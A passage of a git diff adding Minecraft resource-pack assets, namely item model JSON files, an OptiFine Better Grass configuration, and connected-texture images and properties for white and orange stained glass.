"minecraft:item/wooden_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/writable_book.json b/src/assets/minecraft/models/item/writable_book.json new file mode 100644 index 00000000..9398beca --- /dev/null +++ b/src/assets/minecraft/models/item/writable_book.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/writable_book" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/written_book.json b/src/assets/minecraft/models/item/written_book.json new file mode 100644 index 00000000..45a09602 --- /dev/null +++ b/src/assets/minecraft/models/item/written_book.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/written_book" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_banner.json b/src/assets/minecraft/models/item/yellow_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_bed.json b/src/assets/minecraft/models/item/yellow_bed.json new file mode 100644 index 00000000..cc67ceff --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/yellow_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_carpet.json b/src/assets/minecraft/models/item/yellow_carpet.json new file mode 100644 index 00000000..c3b3710e --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_concrete.json b/src/assets/minecraft/models/item/yellow_concrete.json new file mode 100644 index 00000000..ed8ebe4c --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_concrete_powder.json b/src/assets/minecraft/models/item/yellow_concrete_powder.json new file mode 100644 index 00000000..38bac8bf --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_dye.json b/src/assets/minecraft/models/item/yellow_dye.json new file mode 100644 index 00000000..14d6bb6a --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/yellow_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_glazed_terracotta.json b/src/assets/minecraft/models/item/yellow_glazed_terracotta.json new file mode 100644 index 00000000..4d819984 --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_shulker_box.json b/src/assets/minecraft/models/item/yellow_shulker_box.json new file mode 100644 index 00000000..318a620e --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/yellow_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_stained_glass.json b/src/assets/minecraft/models/item/yellow_stained_glass.json new file mode 100644 index 00000000..e102e2d5 --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_stained_glass_pane.json b/src/assets/minecraft/models/item/yellow_stained_glass_pane.json new file mode 100644 index 00000000..e17c28a2 --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/yellow_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_terracotta.json b/src/assets/minecraft/models/item/yellow_terracotta.json new file mode 100644 index 00000000..50dfb7ea --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/yellow_wool.json b/src/assets/minecraft/models/item/yellow_wool.json new file mode 100644 index 00000000..e0de4bb8 --- /dev/null +++ b/src/assets/minecraft/models/item/yellow_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/yellow_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zoglin_spawn_egg.json b/src/assets/minecraft/models/item/zoglin_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/zoglin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zombie_head.json b/src/assets/minecraft/models/item/zombie_head.json new file mode 100644 index 00000000..364b6e65 --- /dev/null +++ b/src/assets/minecraft/models/item/zombie_head.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_skull" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zombie_horse_spawn_egg.json b/src/assets/minecraft/models/item/zombie_horse_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/zombie_horse_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zombie_spawn_egg.json b/src/assets/minecraft/models/item/zombie_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/zombie_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zombie_villager_spawn_egg.json b/src/assets/minecraft/models/item/zombie_villager_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/zombie_villager_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/zombified_piglin_spawn_egg.json b/src/assets/minecraft/models/item/zombified_piglin_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/zombified_piglin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/optifine/bettergrass.properties b/src/assets/minecraft/optifine/bettergrass.properties new file mode 100644 index 00000000..1512ee06 --- /dev/null +++ b/src/assets/minecraft/optifine/bettergrass.properties @@ -0,0 +1,36 @@ +# Configuration for OptiFine's Better Grass feature +# Location: /assets/minecraft/optifine/bettergrass.properties + +# Blocks +# Enable Better Grass for specific blocks +grass=true +grass_path=true +mycelium=true +podzol=true + +# Snowy blocks +# Enable Better Grass for specific blocks which have snow on top +grass.snow=true +mycelium.snow=true +podzol.snow=true + +# Multilayer grass sides +# - layer 1 = grass_side +# - layer 2 = grass (colored by biome) +# Allows transparent grass texture to be used as overlay for the grass side +grass.multilayer=false + +# Textures +# Configure which textures to be used +# The "texture.grass" is colored by biome +texture.grass=block/grass_block_top +texture.grass_side=block/grass_block_side +texture.grass_path=block/grass_path_top +texture.grass_path_side=block/grass_path_side +texture.mycelium=block/mycelium_top +texture.podzol=block/podzol_top +texture.snow=block/snow + + + + diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/0.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/0.png new file mode 100644 index 00000000..eefcbba5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/1.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/1.png new file mode 100644 index 00000000..9501ac47 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/10.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/10.png new file mode 100644 index 00000000..3c983846 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/11.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/11.png new file mode 100644 index 00000000..332ed1be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/12.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/12.png new file mode 100644 index 00000000..587c8370 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/13.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/13.png new file mode 100644 index 00000000..0a0e72bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/14.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/14.png new file mode 100644 index 00000000..80e51eba Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/15.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/15.png new file mode 100644 index 00000000..80fe257a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/16.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/16.png new file mode 100644 index 00000000..cb715830 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/17.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/17.png new file mode 100644 index 00000000..54e830e1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/18.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/18.png new file mode 100644 index 00000000..f5af6f2c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/19.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/19.png new file mode 100644 index 00000000..a7bf485c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/2.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/2.png new file mode 100644 index 00000000..4b03ce11 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/20.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/20.png new file mode 100644 index 00000000..78247d97 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/21.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/21.png new file mode 100644 index 00000000..434180a8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/22.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/22.png new file mode 100644 index 00000000..ba8a11db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/23.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/23.png new file mode 100644 index 00000000..1fc8adfc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/24.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/24.png new file mode 100644 index 00000000..db071d8a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/25.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/25.png new file mode 100644 index 00000000..d793e70e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/26.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/26.png new file mode 100644 index 00000000..7a312447 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/27.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/27.png new file mode 100644 index 00000000..b1850dc8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/28.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/28.png new file mode 100644 index 00000000..948a4d34 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/29.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/29.png new file mode 100644 index 00000000..5d48d4a8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/3.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/3.png new file mode 100644 index 00000000..91954d9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/30.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/30.png new file mode 100644 index 00000000..b0c756e6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/31.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/31.png new file mode 100644 index 00000000..e8a57ad2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/32.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/32.png new file mode 100644 index 00000000..6fd694a1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/33.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/33.png new file mode 100644 index 00000000..7c1ab9d0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/34.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/34.png new file mode 100644 index 00000000..5bff9206 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/35.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/35.png new file mode 100644 index 00000000..7bf0343f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/36.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/36.png new file mode 100644 index 00000000..e44c70ed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/37.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/37.png new file mode 100644 index 00000000..a8e38a04 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/38.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/38.png new file mode 100644 index 00000000..30b113df Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/39.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/39.png new file mode 100644 index 00000000..10a86da7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/4.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/4.png new file mode 100644 index 00000000..d4c5e47d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/40.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/40.png new file mode 100644 index 00000000..1c825c23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/41.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/41.png new file mode 100644 index 00000000..53ab0feb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/42.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/42.png new file mode 100644 index 00000000..b33678c0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/43.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/43.png new file mode 100644 index 00000000..a25f851a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/44.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/44.png new file mode 100644 index 00000000..1e3b5527 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/45.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/45.png new file mode 100644 index 00000000..5a9e615d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/46.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/46.png new file mode 100644 index 00000000..8a7cf5be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/5.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/5.png new file mode 100644 index 00000000..becb91fd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/6.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/6.png new file mode 100644 index 00000000..6a6fab75 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/7.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/7.png new file mode 100644 index 00000000..39fd0220 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/8.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/8.png new file mode 100644 index 00000000..3e579cf8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/9.png b/src/assets/minecraft/optifine/ctm/default/00_glass_white/9.png new file mode 100644 index 00000000..c72a3302 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/00_glass_white/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_pane_white.properties b/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_pane_white.properties new file mode 100644 index 00000000..ca705f6a --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_pane_white.properties @@ -0,0 +1,6 @@ +# Stained glass pane white +matchBlocks=white_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_white.properties b/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_white.properties new file mode 100644 index 00000000..bfa7e1fb --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/00_glass_white/glass_white.properties @@ -0,0 +1,5 @@ +# Stained glass white +matchBlocks=white_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/0.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/0.png new file mode 100644 index 00000000..a56a640e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/1.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/1.png new file mode 100644 index 00000000..cb3922bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/10.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/10.png new file mode 100644 index 00000000..50f4505e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/11.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/11.png new file mode 100644 index 00000000..ca8bf1bd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/12.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/12.png new file mode 100644 index 00000000..74cc00a6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/13.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/13.png new file mode 100644 index 00000000..bf0902c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/14.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/14.png new file mode 100644 index 00000000..bf29a6db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/15.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/15.png new file mode 100644 index 00000000..5519e580 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/16.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/16.png new file mode 100644 index 00000000..1855d64b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/17.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/17.png new file mode 100644 index 00000000..afb8c5c0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/18.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/18.png new file mode 100644 index 00000000..6f30e801 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/19.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/19.png new file mode 100644 index 00000000..5a5e76cd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/2.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/2.png new file mode 100644 index 00000000..56aa3ab3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/20.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/20.png new file mode 100644 index 00000000..28deaa2f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/21.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/21.png new file mode 100644 index 00000000..45cd9cd1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/22.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/22.png new file mode 100644 index 00000000..edd770cc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/23.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/23.png new file mode 100644 index 00000000..78ee576d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/24.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/24.png new file mode 100644 index 00000000..b40946cd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/25.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/25.png new file mode 100644 index 00000000..332277f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/26.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/26.png new file mode 100644 index 00000000..427df686 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/27.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/27.png new file mode 100644 index 00000000..0a424016 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/28.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/28.png new file mode 100644 index 00000000..3b72a326 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/29.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/29.png new file mode 100644 index 00000000..b3098c55 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/3.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/3.png new file mode 100644 index 00000000..370764fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/30.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/30.png new file mode 100644 index 00000000..48d7ed98 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/31.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/31.png new file mode 100644 index 00000000..fbee9a6d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/32.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/32.png new file mode 100644 index 00000000..2764997d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/33.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/33.png new file mode 100644 index 00000000..2619b1b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/34.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/34.png new file mode 100644 index 00000000..78be260a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/35.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/35.png new file mode 100644 index 00000000..ecef1e23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/36.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/36.png new file mode 100644 index 00000000..fb2f00d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/01_glass_orange/37.png b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/37.png new file mode 100644 index 00000000..5ed076ee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/01_glass_orange/37.png differ diff --git 